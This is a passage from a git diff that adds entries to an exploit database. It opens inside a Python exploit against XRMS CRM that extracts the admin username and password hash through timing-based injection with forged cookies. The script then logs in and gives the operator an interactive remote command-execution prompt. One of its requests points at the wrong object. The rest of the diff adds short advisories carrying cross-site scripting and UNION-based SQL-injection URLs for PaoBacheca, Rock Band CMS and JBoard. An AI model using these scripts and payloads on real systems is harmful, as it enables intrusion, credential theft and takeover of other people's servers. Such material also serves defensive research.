LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler): + def http_error_302(self, req, fp, code, msg, headers): + infourl = urllib2.addinfourl(fp, headers, req.get_full_url()) + infourl.status = code + infourl.code = code + return infourl + http_error_300 = http_error_302 + class HeadRequest(urllib2.Request): + def get_method(self): + return "POST" + payload = payload1 + str(i) + payload2 + str(userascii[f]) + payload3 + data = urllib.urlencode([('user_id',payload)]) + url = 'http://'+domain+'/plugins/webform/new-form.php' + opener = urllib2.build_opener(LeHTTPRedirectHandler) + req = HeadRequest(url,data) + prepare = opener.open(req) + cookie1 = prepare.info() + cookie2pos1 = str(cookie1).find('PHPSESSID') + cookie2pos2 = str(cookie1).find("\n",cookie2pos1) + line = str(cookie1)[cookie2pos1:cookie2pos2 - 9] + line = 'XRMS' + line[9:] + url = 'http://'+domain+'/plugins/useradmin/fingeruser.php' + headers = { 'Cookie' : line } + data = None + start = time.time() + get = urllib2.Request(url,data,headers) + get.get_method = lambda: 'HEAD' + try: + execute = urllib2.urlopen(get) + except: + pass + elapsed = (time.time() - start) + if(elapsed > 1): + print " Character found. Character is: " + usercharac[f] + dpassword.append(usercharac[f]) + found = 1 + return dpassword + +def login(domain,user,password): + cookie = "XRMS=iseeurgettinown4d" + url = 'http://'+domain+'/login-2.php' + headers = { 'Cookie' : cookie } + data = urllib.urlencode([('username',user),('password',password)]) + a1 = urllib2.Request(url,data,headers) + a2 = urllib2.urlopen(a1) + output = a2.read() + if output.find('PEAR.php') > 0: + print " [+] Logged In" + +def commandexec(domain,command): + cookie = "XRMS=iseeurgettinown4d" + cmd = urllib.urlencode([("; echo '0x41';" + command + ";echo '14x0';",None)]) + headers = { 'Cookie' : cookie } + data = None + url = 'http://'+domain+'/plugins/useradmin/fingeruser.php?username=' + cmd + b1 = urllib2.Request(url,data,headers) + b2 = urllib2.urlopen(a1) + output = b2.read() + first = output.find('0x41') + 4 + last = output.find('14x0') - 4 + return output[first:last] + +banner() +if len(sys.argv) < 2: + usage() +domain = sys.argv[1] +print " [+] Grabbing username length" +length = getusernamelength() +print " [+] Grabbing username characters" +tmpuser = username(length) +adminusr = "".join(tmpuser) +print " [+] Grabbing password hash" +tmppass = password(32) +admpass = "".join(tmppass) +print " [+] Admin username: "+ adminusr +print " [+] Admin password hash: " + admpass +plain = sendhashaway(admpass) +login(domain,adminusr,plain) +while(quit != 1): + cmd = raw_input(' [+] Run a command: ') + if cmd == 'quit': + print " [-] Hope you had fun :)" + quit = 1 + if cmd != 'quit': + print " [+] "+ commandexec(domain,cmd) + diff --git a/platforms/php/webapps/34453.txt b/platforms/php/webapps/34453.txt new file mode 100755 index 000000000..e38b307f2 --- /dev/null +++ b/platforms/php/webapps/34453.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/42423/info + +PaoBacheca is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. + +An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. + +PaoBacheca 2.1 is vulnerable; other versions may also be affected. + +http://www.example.com/paobacheca/demo/index.php/"> \ No newline at end of file diff --git a/platforms/php/webapps/34454.txt b/platforms/php/webapps/34454.txt new file mode 100755 index 000000000..b776c94f2 --- /dev/null +++ b/platforms/php/webapps/34454.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/42423/info + +PaoBacheca is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. + +An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. + +PaoBacheca 2.1 is vulnerable; other versions may also be affected. + +http://www.example.com/paobacheca/demo/scrivi.php/"> \ No newline at end of file diff --git a/platforms/php/webapps/34455.txt b/platforms/php/webapps/34455.txt new file mode 100755 index 000000000..5aebdf615 --- /dev/null +++ b/platforms/php/webapps/34455.txt @@ -0,0 +1,8 @@ +source: http://www.securityfocus.com/bid/42424/info + +Rock Band CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +http://www.example.com/news.php?year=-2004+UNION+SELECT+1,2,3,4-- +http://www.example.com/news.php?id=-1+UNION+SELECT+1,2,3,4-- \ No newline at end of file diff --git a/platforms/php/webapps/34456.txt b/platforms/php/webapps/34456.txt new file mode 100755 index 000000000..ae27266f1 --- /dev/null +++ b/platforms/php/webapps/34456.txt @@ -0,0 +1,132 @@ +source: http://www.securityfocus.com/bid/42425/info + +JBoard is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sanitize user-supplied input. + +Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +JBoard 0.2 is vulnerable; prior versions may also be affected. + +================================================ +JBoard <= 2.0 Commercial Version Sql/Xss Exploit +================================================ + + +1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 +0 _ __ __ __ 1 +1 /' \ __ /'__`\ /\ \__ /'__`\ 0 +0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 +1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 +0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 +1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 +0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 +1 \ \____/ >> Exploit database separated by exploit 0 +0 \/___/ type (local, remote, DoS, etc.) 1 +1 0 +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1 + +#[+] Discovered By : Inj3ct0r +#[+] Site : Inj3ct0r.com +#[+] Support e-mail : submit[at]inj3ct0r.com +#[+] Visit : inj3ct0r.com , inj3ct0r.org , inj3ct0r.net + + +Site product: http://allpublication.ru/ +Demo: http://allpublication.ru/board/demo/ +admin; admin +Version: 2.0 + +----------------------------------------------------------------- + +Xss Exploit: + +editform.php?notice= + +*?user_title= + +*any pages because vulnerability in inc/head.inc.php + +core/edit_user_message.php?edit_user_message=">